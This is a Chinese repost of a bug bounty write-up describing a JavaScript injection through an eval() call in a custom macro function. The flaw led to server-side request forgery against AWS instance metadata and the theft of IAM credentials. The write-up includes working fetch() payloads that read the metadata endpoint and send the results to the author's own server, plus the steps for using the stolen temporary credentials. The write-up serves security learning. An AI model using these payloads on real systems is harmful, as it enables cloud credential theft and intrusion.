内容简介:这是我在hackerone上一个私人漏洞奖金计划中发现的一个漏洞,发现,利用和写报告足足花了我12个半小时,都不带休息的。通过这个漏洞,我可以获取到AWS的凭证,我可以完全入侵该公司的账号:现在我手里有20个buckets和80个EC2实例。另外,这是我挖洞生涯中最有意思的漏洞,学到了很多东西,所以想在此给大家分享一下。刚才说过,这是一个私人奖金项目,所以公司名就不方便透露了,我们就叫它ArticMonkey吧。为了实现他们的web应用程序,ArticMonkey公司开发了一套自定义的宏语言,就叫做Ban
这是我在hackerone上一个私人漏洞奖金计划中发现的一个漏洞,发现,利用和写报告足足花了我12个半小时,都不带休息的。通过这个漏洞,我可以获取到AWS的凭证,我可以完全入侵该公司的账号:现在我手里有20个buckets和80个EC2实例。另外,这是我挖洞生涯中最有意思的漏洞,学到了很多东西,所以想在此给大家分享一下。
介绍
刚才说过,这是一个私人奖金项目,所以公司名就不方便透露了,我们就叫它ArticMonkey吧。
为了实现他们的web应用程序,ArticMonkey公司开发了一套自定义的宏语言,就叫做Banana++吧。我不知道这个Banan++这个语言最初是基于什么语言开发的,但是从web应用中,我发现了一个JavaScript版本信息,所以我决定深入挖掘一下。
原始的banan++.js文件已经压缩过了,但文件还是有点大,压缩后2.1M,美化后2.5M,56441行,2546981个字符,崩溃。当然,我没有读完整个代码,只是搜索了一些Banan++特定的一些关键词,在3348行定位到了第一个函数,整个文件大概有135个函数,既然有这么多函数,那我就可以对这些函数进行分析,发挥我的专业技能了。
发现问题
我开始从头看代码,但是大部分函数都是进行数据操作或者是数学运算符,没有什么可疑的或危险的。找了一会儿,我终于发现了一个Union()函数,可能有戏,代码如下:
仔细看代码,注意到有一个奇怪的eval()函数,是不是很惊喜,我把代码复制到一个本地的HTML文件中以便进行多次测试。
这个函数可以接收无限个参数,不过第三个参数开始才是有用的参数。这个函数是借助第二个参数来比较第一个参数和第三个参数的,然后测试第4个,第5个等等。通常的用法是这样的,Union(1,’<’,3),如果这些测试中至少有一个为真,那么返回值为true,否则为false。
然而,该函数却没有对参数的类型和值进行过滤和净化,于是我就利用alert()来进行测试,alert()是我最新换的调试器,我发现可以通过不同的方法来触发漏洞利用,如图所示:
注入点
现在我们有了一个危险的函数,这已经是一个很好的开始了,不过我们真正需要的是用户输入的地方来注入恶意代码。我记得在使用Banan++函数时看到过一些post参数,于是在Burp的历史记录中找了找,请求响应如下:
可以看到有一个operation参数,可以进行测试一下。
开始注入
由于我对Banan++一无所知,所以我得先进行一些测试来看看我可以注入何种类型的代码,下面是一些手工模糊测试,
{...REDACTED...,"operation":"'\"><"}{"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":null}[] {...REDACTED...,"operation":"0"}[] {...REDACTED...,"operation":"1"}[{"name":"REDACTED",...REDACTED...}] {...REDACTED...,"operation":"a"}{"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"a=1"}{"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"alert"}{"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"alert()"}{"status":400,"message":"Function 'alert' is not defined"} {...REDACTED...,"operation":"Union()"}[]
通过这些测试,我总结了以下几点:
不能注入任意的JavaScript代码
可以注入Banan++函数
响应似乎只有真假两种,取决于参数operation的真假,这对于验证我注入的代码是否有效非常有帮助。
下面我们继续来对Union()函数进行模糊测试:
{...REDACTED...,"operation":"Union(1,2,3)"}{"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"Union(a,b,c)"}{"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"Union('a','b','c')"}{"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"Union('a';'b';'c')"}[{"name":"REDACTED",...REDACTED...}] {...REDACTED...,"operation":"Union('1';'2';'3')"}[{"name":"REDACTED",...REDACTED...}] {...REDACTED...,"operation":"Union('1';'<';'3')"}[{"name":"REDACTED",...REDACTED...}] {...REDACTED...,"operation":"Union('1';'>';'3')"}[]]
测试效果非常完美,如果测试1<3,响应结果就会包含有效的数据(true),如果测试1>3,响应结果为空(false)。参数必须要用分号来分隔。下面我就要开始尝试一些真正的攻击了。
fetch是新的XMLHttpRequest异步请求
因为请求是对api的一种ajax调用,而且只返回json数据,显然不是一个客户端注入。而且通过前面的报告,我知道ArticMonkey倾向于在服务端使用大量的JavaScript。
不过,这些都不重要,因为我得尝试所有东西,可能无意中就能触发一个错误,暴露了运行着JavaScript代码的系统的一些敏感信息。因为我进行了本地测试,所以我知道如何准确的注入恶意代码。我测试了基础的xss payload和错误格式的JavaScript代码,不过得到的错误跟前面的一样。
然后我尝试发起HTTP请求。
首先进行ajax调用:
x = new XMLHttpRequest; x.open( 'GET','https://poc.myserver.com' ); x.send();
但是没有什么收获,于是我尝试了HTML注入:
i = document.createElement( 'img' ); i.src = '<img src="https://poc.myserver.com/xxx.png">'; document.body.appendChild( i );
还是没有任何收获,继续尝试:
document.body.innerHTML += '<img src="https://poc.myserver.com/xxx.png">'; document.body.innerHTML += '<iframe src="https://poc.myserver.com">';
结果还是一样,没有收获。
有时候,你要进行一些很脑残的测试,你才知道系统设计的有多愚蠢。显然,这里尝试着去渲染HTML代码是有问题的。回到ajax请求,我在这里卡了一段时间,花了很长时间才明白它是如何工作的。
最后我想起来ArticMonkey在前端使用的是ReactJS,后来我才了解到他们在服务器端使用的是nodeJS。于是我Google了一下,如何使用ReactJS执行ajax请求,并最终在官方文档中找到了解决方案,该方案将我引导到fetch()函数,这是执行ajax调用的新标准,而这就是关键之处:
于是我尝试了如下注入:
fetch('https://poc.myserver.com')
执行之后,立刻就在Apache日志里面生成了一行新纪录。
首先要能ping通我的服务器,不过它是一个blind SSRF,我没有收到响应。于是我想着把两个请求串联起来,第二个请求能够发送第一个请求的结果,如下:
x1 = new XMLHttpRequest;x1.open( 'GET','https://...', false );x1.send();r = x1.responseText; x2 = new XMLHttpRequest;x2.open( 'GET','https://poc.myserver.com/?r='+r, false );x2.send();
接着我再使用fetch()函数的正确语法上又花了不少时间,这还多亏了 stackoverflow 上的一个问题。
最后我的payload如下,运行得非常顺利:
fetch('https://...').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));
windows上的SSRF
首先,我尝试读取本地文件:
fetch('file:///etc/issue').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));
不过Apache日志文件中的响应(r参数)却是空的。
由于我发现了与ArticMonkey(也就是articmonkey-xxx)相关的S3 buckets,所以我猜想这家公司的webapp可能也使用了AWS服务器(这个也可以在某些想拥抱的header信息中得到确认:x-cache:Hit from cloudfront)。如此一来,我就迅速的转移注意力到了最常见的 云实例的SSRF URL 中了。
当我尝试访问实例的元数据时,响应包中正是我想要的结果,这很nice
对输出结果解码后,返回的是遍历出来的目录
最终payload
{...REDACTED...,"operation":"Union('1';'2;fetch(\"http://169.254.169.254/latest/meta-data/\").then(res=>res.text()).then((r)=>fetch(\"https://poc.myserver.com/?r=\"+r));';'3')"}
因为我是第一次接触AWS元数据,所以我对它一无所知,我花了很长的时间来研究所有的目录和文件,如你所见,最有用的文件是这个 http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE >,如下所示:
利用凭证
那时候,我本以为可以到此为止了。不过,对于写poc来说,我想展示这个漏洞的严重性,我想搞到一些非常有价值的东西。所以我尝试使用这些凭证来模拟公司。首先你要知道这些凭证是临时的,有效期很短,大概5分钟左右。不过没关系,5分钟也足够了,我可以更新我自己的凭证,就是复制粘贴而已,我可以搞定的。
我还在Twitter上咨询过关于SSRF和AWS的问题,真的非常感谢大佬的指教。最终在 这里 找到了解决方案。我所犯的错误就是没有好好阅读官方文档,只是使用了AccessKeyID和SecretAccessKey,但是并没有效果,token也必须要导出。
使用下列命令来确认我的身份,表明我的身份已经发生了变化:
aws sts get-caller-identity
然后
左图:经过ArticMonkey配置过的EC2实例列表。可能是他们系统的大部分实例或者是全部。
右图:该公司拥有20个buckets,包括用户的高度敏感的数据,web应用的静态文件,还有,依据buckets名字可能是他们服务器的日志或者备份文件。
这个漏洞的影响可以说是非常致命了。
总结
从这个漏洞中我学到了很多东西:
ReactJS,fetch()函数,AWS元数据。
RTFM!官方文档始终是有用信息的重要来源。
每一步都会产生问题,我不得不大量查资料搜索,尝试不同的事情,也需要竭尽全力,不轻易放弃。
现在我知道我可以从0开始到完全入侵一个系统,这是一个非常不错的个人成就,我对此也感觉到很满意。
所以,当有人告诉你无法完成某些事情时,记住,不要跟这些人浪费口舌,用行动来证明他们是错的。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 通过HTTP Header控制缓存
- 通过HTTP Header控制缓存
- PostgreSQL_通过schema控制用户权限
- golang 通过 context 控制并发的应用场景
- 计算机通过串口连接Arduino控制LED灯
- Windows系统监听键盘通过UDP协议控制树莓派小车
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
信息学奥林匹克竞赛指导--组合数学的算法与程序设计PASCAL版/信息学奥林匹克竞赛指导丛书
林 生编 / 清华大学出版社 / 2002-8 / 19.00元
一起来看看 《信息学奥林匹克竞赛指导--组合数学的算法与程序设计PASCAL版/信息学奥林匹克竞赛指导丛书》 这本书的介绍吧!